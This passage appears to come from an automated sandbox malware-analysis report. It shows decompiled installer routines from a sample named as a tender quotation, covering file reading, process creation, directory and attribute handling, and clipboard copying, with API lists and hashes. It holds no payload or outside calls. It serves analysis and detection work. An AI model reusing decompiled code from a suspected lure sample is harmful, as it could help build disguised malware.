          				void* _t24;
          				long _t26;
          				int _t27;
          				long _t28;
          				void* _t29;
          				void* _t30;
          				long _t31;
          				long _t32;
          				long _t36;
          
          				_t21 = _a4;
          				if(_t21 >= 0) {
          					_t32 = _t21 +  *0x42a2b8;
          					 *0x420ef4 = _t32;
          					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
          				}
          				_t22 = E00403479(4);
          				if(_t22 >= 0) {
          					_t24 = E004061DB( *0x40a01c,  &_a4, 4); // executed
          					if(_t24 == 0) {
          						L18:
          						_push(0xfffffffd);
          						goto L19;
          					} else {
          						 *0x420ef4 =  *0x420ef4 + 4;
          						_t36 = E00403479(_a4);
          						if(_t36 < 0) {
          							L21:
          							_t22 = _t36;
          						} else {
          							if(_a12 != 0) {
          								_t26 = _a4;
          								if(_t26 >= _a16) {
          									_t26 = _a16;
          								}
          								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
          								if(_t27 != 0) {
          									_t36 = _v8;
          									 *0x420ef4 =  *0x420ef4 + _t36;
          									goto L21;
          								} else {
          									goto L18;
          								}
          							} else {
          								if(_a4 <= 0) {
          									goto L21;
          								} else {
          									while(1) {
          										_t28 = _a4;
          										if(_a4 >= 0x4000) {
          											_t28 = 0x4000;
          										}
          										_v8 = _t28;
          										_t29 = E004061DB( *0x40a01c, 0x414ef0, _t28); // executed
          										if(_t29 == 0) {
          											goto L18;
          										}
          										_t30 = E0040620A(_a8, 0x414ef0, _v8); // executed
          										if(_t30 == 0) {
          											_push(0xfffffffe);
          											L19:
          											_pop(_t22);
          										} else {
          											_t31 = _v8;
          											_a4 = _a4 - _t31;
          											 *0x420ef4 =  *0x420ef4 + _t31;
          											_t36 = _t36 + _t31;
          											if(_a4 > 0) {
          												continue;
          											} else {
          												goto L21;
          											}
          										}
          										goto L22;
          									}
          									goto L18;
          								}
          							}
          						}
          					}
          				}
          				L22:
          				return _t22;
          			}















          0x00403375
          0x0040337e
          0x00403387
          0x0040338b
          0x00403396
          0x00403396
          0x0040339e
          0x004033a5
          0x004033b7
          0x004033be
          0x00403463
          0x00403463
          0x00000000
          0x004033c4
          0x004033c7
          0x004033d3
          0x004033d7
          0x00403471
          0x00403471
          0x004033dd
          0x004033e0
          0x0040343f
          0x00403445
          0x00403447
          0x00403447
          0x00403459
          0x00403461
          0x00403468
          0x0040346b
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004033e2
          0x004033e5
          0x00000000
          0x004033eb
          0x004033f0
          0x004033f7
          0x004033fa
          0x004033fc
          0x004033fc
          0x00403409
          0x0040340c
          0x00403413
          0x00000000
          0x00000000
          0x0040341c
          0x00403423
          0x0040343b
          0x00403465
          0x00403465
          0x00403425
          0x00403425
          0x00403428
          0x0040342b
          0x00403431
          0x00403437
          0x00000000
          0x00403439
          0x00000000
          0x00403439
          0x00403437
          0x00000000
          0x00403423
          0x00000000
          0x004033f0
          0x004033e5
          0x004033e0
          0x004033d7
          0x004033be
          0x00403473
          0x00403476

          APIs
          • SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 00403396
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: FilePointer
          • String ID:
          • API String ID: 973152223-0
          • Opcode ID: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
          • Instruction ID: 963a71f16df831595788c30304fa9cedbf2cad19eb63879c1ada4fe15c9ed8fa
          • Opcode Fuzzy Hash: b1bf35b654f0c361909532a2badc84153f12731a676864620281ad9f652e4f28
          • Instruction Fuzzy Hash: 93319F70200219EFDB129F65ED84E9A3FA8FF00355B10443AF905EA1A1D778CE51DBA9
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 69%
          			E00401389(signed int _a4) {
          				intOrPtr* _t6;
          				void* _t8;
          				void* _t10;
          				signed int _t11;
          				void* _t12;
          				signed int _t16;
          				signed int _t17;
          				void* _t18;
          
          				_t17 = _a4;
          				while(_t17 >= 0) {
          					_t6 = _t17 * 0x1c +  *0x42a290;
          					if( *_t6 == 1) {
          						break;
          					}
          					_push(_t6); // executed
          					_t8 = E00401434(); // executed
          					if(_t8 == 0x7fffffff) {
          						return 0x7fffffff;
          					}
          					_t10 = E0040136D(_t8);
          					if(_t10 != 0) {
          						_t11 = _t10 - 1;
          						_t16 = _t17;
          						_t17 = _t11;
          						_t12 = _t11 - _t16;
          					} else {
          						_t12 = _t10 + 1;
          						_t17 = _t17 + 1;
          					}
          					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
          						 *0x42924c =  *0x42924c + _t12;
          						SendMessageW( *(_t18 + 0x18), 0x402, MulDiv( *0x42924c, 0x7530,  *0x429234), 0);
          					}
          				}
          				return 0;
          			}











          0x0040138a
          0x004013fa
          0x0040139b
          0x004013a0
          0x00000000
          0x00000000
          0x004013a2
          0x004013a3
          0x004013ad
          0x00000000
          0x00401404
          0x004013b0
          0x004013b7
          0x004013bd
          0x004013be
          0x004013c0
          0x004013c2
          0x004013b9
          0x004013b9
          0x004013ba
          0x004013ba
          0x004013c9
          0x004013cb
          0x004013f4
          0x004013f4
          0x004013c9
          0x00000000

          APIs
          • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
          • SendMessageW.USER32(?,00000402,00000000), ref: 004013F4
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSend
          • String ID:
          • API String ID: 3850602802-0
          • Opcode ID: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
          • Instruction ID: af17251ef12b8b272b5eaf8d1bef107274ce64b6e67bb2dd4604cf2723900e86
          • Opcode Fuzzy Hash: 09e122a9c5ca6d14e20a0c17f6d9bb0c47d9e5f073d0cae9cf8d248ab6fa9320
          • Instruction Fuzzy Hash: 6F012831724220EBEB295B389D05B6A3698E710714F10857FF855F76F1E678CC029B6D
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00405C4B(WCHAR* _a4) {
          				struct _PROCESS_INFORMATION _v20;
          				int _t7;
          
          				0x426750->cb = 0x44;
          				_t7 = CreateProcessW(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x426750,  &_v20); // executed
          				if(_t7 != 0) {
          					CloseHandle(_v20.hThread);
          					return _v20.hProcess;
          				}
          				return _t7;
          			}





          0x00405c54
          0x00405c74
          0x00405c7c
          0x00405c81
          0x00000000
          0x00405c87
          0x00405c8b

          APIs
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CloseCreateHandleProcess
          • String ID:
          • API String ID: 3712363035-0
          • Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
          • Instruction ID: 91309136e62a13352d93043ad9bb7922807806bb2ea2f765c8e9c4a894a003d9
          • Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
          • Instruction Fuzzy Hash: 59E0B6B4600209BFFB109B64EE09F7B7BADFB04648F414565BD51F2190D778A8158A78
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00406A35(signed int _a4) {
          				struct HINSTANCE__* _t5;
          				signed int _t10;
          
          				_t10 = _a4 << 3;
          				_t8 =  *(_t10 + 0x40a410);
          				_t5 = GetModuleHandleA( *(_t10 + 0x40a410));
          				if(_t5 != 0) {
          					L2:
          					return GetProcAddress(_t5,  *(_t10 + 0x40a414));
          				}
          				_t5 = E004069C5(_t8); // executed
          				if(_t5 == 0) {
          					return 0;
          				}
          				goto L2;
          			}





          0x00406a3d
          0x00406a40
          0x00406a47
          0x00406a4f
          0x00406a5b
          0x00000000
          0x00406a62
          0x00406a52
          0x00406a59
          0x00000000
          0x00406a6a
          0x00000000

          APIs
          • GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
          • GetProcAddress.KERNEL32(00000000,?), ref: 00406A62
            • Part of subcall function 004069C5: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004069DC
            • Part of subcall function 004069C5: wsprintfW.USER32 ref: 00406A17
            • Part of subcall function 004069C5: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406A2B
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
          • String ID:
          • API String ID: 2547128583-0
          • Opcode ID: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
          • Instruction ID: 0464b4a7853edb7079d0776797c383171681067eb8499b99987f1e8ea9f8efb8
          • Opcode Fuzzy Hash: 2c5be687f5fa61a336a49914f64a515c5dfea5ee9312c993601bf5eaa599f6ad
          • Instruction Fuzzy Hash: E0E086727042106AD210A6745D08D3773E8ABC6711307883EF557F2040D738DC359A79
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 68%
          			E00406158(WCHAR* _a4, long _a8, long _a12) {
          				signed int _t5;
          				void* _t6;
          
          				_t5 = GetFileAttributesW(_a4); // executed
          				asm("sbb ecx, ecx");
          				_t6 = CreateFileW(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
          				return _t6;
          			}





          0x0040615c
          0x00406169
          0x0040617e
          0x00406184

          APIs
          • GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,80000000,00000003), ref: 0040615C
          • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: File$AttributesCreate
          • String ID:
          • API String ID: 415043291-0
          • Opcode ID: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
          • Instruction ID: 0e1b57c135d9ed337dcee0f1630d7a3ffd6699826ab823f4ff8c6da5104765b0
          • Opcode Fuzzy Hash: bc48b18717e6d0ecb647aea7fc0ab07bebcbb2e2e3a0bd9572a83b91cd6509df
          • Instruction Fuzzy Hash: DCD09E71254201AFEF0D8F20DF16F2E7AA2EB94B04F11952CB682940E1DAB15C15AB19
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00406133(WCHAR* _a4) {
          				signed char _t3;
          				signed char _t7;
          
          				_t3 = GetFileAttributesW(_a4); // executed
          				_t7 = _t3;
          				if(_t7 != 0xffffffff) {
          					SetFileAttributesW(_a4, _t3 & 0x000000fe); // executed
          				}
          				return _t7;
          			}





          0x00406138
          0x0040613e
          0x00406143
          0x0040614c
          0x0040614c
          0x00406155

          APIs
          • GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
          • SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: AttributesFile
          • String ID:
          • API String ID: 3188754299-0
          • Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
          • Instruction ID: 3e6336b5c460747e2e1e0fbe3c4db8defb42c0044e1a92967a1d29a512d2a4bc
          • Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
          • Instruction Fuzzy Hash: 73D0C972514130ABC2102728AE0889ABB56EB64271B014A35F9A5A62B0CB304C628A98
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00405C16(WCHAR* _a4) {
          				int _t2;
          
          				_t2 = CreateDirectoryW(_a4, 0); // executed
          				if(_t2 == 0) {
          					return GetLastError();
          				}
          				return 0;
          			}




          0x00405c1c
          0x00405c24
          0x00000000
          0x00405c2a
          0x00000000

          APIs
          • CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00405C1C
          • GetLastError.KERNEL32 ref: 00405C2A
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CreateDirectoryErrorLast
          • String ID:
          • API String ID: 1375471231-0
          • Opcode ID: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
          • Instruction ID: 66e62c5d6c7775ff4cea72667941029308d228c48495a605f612c1d2d9e1fc74
          • Opcode Fuzzy Hash: 3d774f31bfc7c5d70b6f8c035fc875d1b29c99f0800ffc9da4ab7b914865a185
          • Instruction Fuzzy Hash: FBC04C31218605AEE7605B219F0CB177A94DB50741F114839E186F40A0DA788455D92D
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E004035F8(long _a4) {
          				long _t2;
          
          				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
          				return _t2;
          			}




          0x00403606
          0x0040360c

          APIs
          • SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: FilePointer
          • String ID:
          • API String ID: 973152223-0
          • Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
          • Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
          • Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
          • Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 78%
          			E00401FA4() {
          				void* _t9;
          				char _t13;
          				void* _t15;
          				void* _t17;
          				void* _t20;
          				void* _t22;
          
          				_t19 = E00402DA6(_t15);
          				E004056CA(0xffffffeb, _t7);
          				_t9 = E00405C4B(_t19); // executed
          				_t20 = _t9;
          				if(_t20 == _t15) {
          					 *((intOrPtr*)(_t22 - 4)) = 1;
          				} else {
          					if( *((intOrPtr*)(_t22 - 0x28)) != _t15) {
          						_t13 = E00406AE0(_t17, _t20); // executed
          						if( *((intOrPtr*)(_t22 - 0x2c)) < _t15) {
          							if(_t13 != _t15) {
          								 *((intOrPtr*)(_t22 - 4)) = 1;
          							}
          						} else {
          							E004065AF( *((intOrPtr*)(_t22 - 0xc)), _t13);
          						}
          					}
          					_push(_t20);
          					CloseHandle();
          				}
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t22 - 4));
          				return 0;
          			}









          0x00401faa
          0x00401faf
          0x00401fb5
          0x00401fba
          0x00401fbe
          0x0040292e
          0x00401fc4
          0x00401fc7
          0x00401fca
          0x00401fd2
          0x00401fe1
          0x00401fe3
          0x00401fe3
          0x00401fd4
          0x00401fd8
          0x00401fd8
          0x00401fd2
          0x00401fea
          0x00401feb
          0x00401feb
          0x00402c2d
          0x00402c39

          APIs
            • Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
            • Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
            • Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
            • Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
            • Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
            • Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
            • Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
            • Part of subcall function 00405C4B: CreateProcessW.KERNELBASE ref: 00405C74
            • Part of subcall function 00405C4B: CloseHandle.KERNEL32(?), ref: 00405C81
          • CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB
            • Part of subcall function 00406AE0: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
            • Part of subcall function 00406AE0: GetExitCodeProcess.KERNELBASE ref: 00406B13
            • Part of subcall function 004065AF: wsprintfW.USER32 ref: 004065BC
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
          • String ID:
          • API String ID: 2972824698-0
          • Opcode ID: 98c10e394aa7211d00c312830497ac903b837474ab48397c41695a6fe6023c65
          • Instruction ID: 7fe263eab699b123ac8c37dffe14ee58438593542e676086741668bd6549bbba
          • Opcode Fuzzy Hash: 98c10e394aa7211d00c312830497ac903b837474ab48397c41695a6fe6023c65
          • Instruction Fuzzy Hash: 3DF09072905112EBDF21BBA59AC4DAE76A4DF01318B25453BE102B21E0D77C4E528A6E
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 95%
          			E00405809(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
          				struct HWND__* _v8;
          				long _v12;
          				struct tagRECT _v28;
          				void* _v36;
          				signed int _v40;
          				int _v44;
          				int _v48;
          				signed int _v52;
          				int _v56;
          				void* _v60;
          				void* _v68;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				struct HWND__* _t94;
          				long _t95;
          				int _t100;
          				void* _t108;
          				intOrPtr _t130;
          				struct HWND__* _t134;
          				int _t156;
          				int _t159;
          				struct HMENU__* _t164;
          				struct HWND__* _t168;
          				struct HWND__* _t169;
          				int _t171;
          				void* _t172;
          				short* _t173;
          				short* _t175;
          				int _t177;
          
          				_t169 =  *0x429244;
          				_t156 = 0;
          				_v8 = _t169;
          				if(_a8 != 0x110) {
          					if(_a8 == 0x405) {
          						CloseHandle(CreateThread(0, 0, E0040579D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
          					}
          					if(_a8 != 0x111) {
          						L17:
          						_t171 = 1;
          						if(_a8 != 0x404) {
          							L25:
          							if(_a8 != 0x7b) {
          								goto L20;
          							}
          							_t94 = _v8;
          							if(_a12 != _t94) {
          								goto L20;
          							}
          							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
          							_a8 = _t95;
          							if(_t95 <= _t156) {
          								L36:
          								return 0;
          							}
          							_t164 = CreatePopupMenu();
          							AppendMenuW(_t164, _t156, _t171, E004066A5(_t156, _t164, _t171, _t156, 0xffffffe1));
          							_t100 = _a16;
          							_t159 = _a16 >> 0x10;
          							if(_a16 == 0xffffffff) {
          								GetWindowRect(_v8,  &_v28);
          								_t100 = _v28.left;
          								_t159 = _v28.top;
          							}
          							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
          								_v60 = _t156;
          								_v48 = 0x423748;
          								_v44 = 0x1000;
          								_a4 = _a8;
          								do {
          									_a4 = _a4 - 1;
          									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
          								} while (_a4 != _t156);
          								OpenClipboard(_t156);
          								EmptyClipboard();
          								_t108 = GlobalAlloc(0x42, _t171 + _t171);
          								_a4 = _t108;
          								_t172 = GlobalLock(_t108);
          								do {
          									_v48 = _t172;
          									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
          									 *_t173 = 0xd;
          									_t175 = _t173 + 2;
          									 *_t175 = 0xa;
          									_t172 = _t175 + 2;
          									_t156 = _t156 + 1;
          								} while (_t156 < _a8);
          								GlobalUnlock(_a4);
          								SetClipboardData(0xd, _a4);
          								CloseClipboard();
          							}
          							goto L36;
          						}
          						if( *0x42922c == _t156) {
          							ShowWindow( *0x42a268, 8);
          							if( *0x42a2ec == _t156) {
          								E004056CA( *((intOrPtr*)( *0x422720 + 0x34)), _t156);
          							}
          							E0040459D(_t171);
          							goto L25;
          						}
          						 *0x421f18 = 2;
          						E0040459D(0x78);
          						goto L20;
          					} else {
          						if(_a12 != 0x403) {
          							L20:
          							return E0040462B(_a8, _a12, _a16);
          						}
          						ShowWindow( *0x429230, _t156);
          						ShowWindow(_t169, 8);
          						E004045F9(_t169);
          						goto L17;
          					}
          				}
          				_v52 = _v52 | 0xffffffff;
          				_v40 = _v40 | 0xffffffff;
          				_t177 = 2;
          				_v60 = _t177;
          				_v56 = 0;
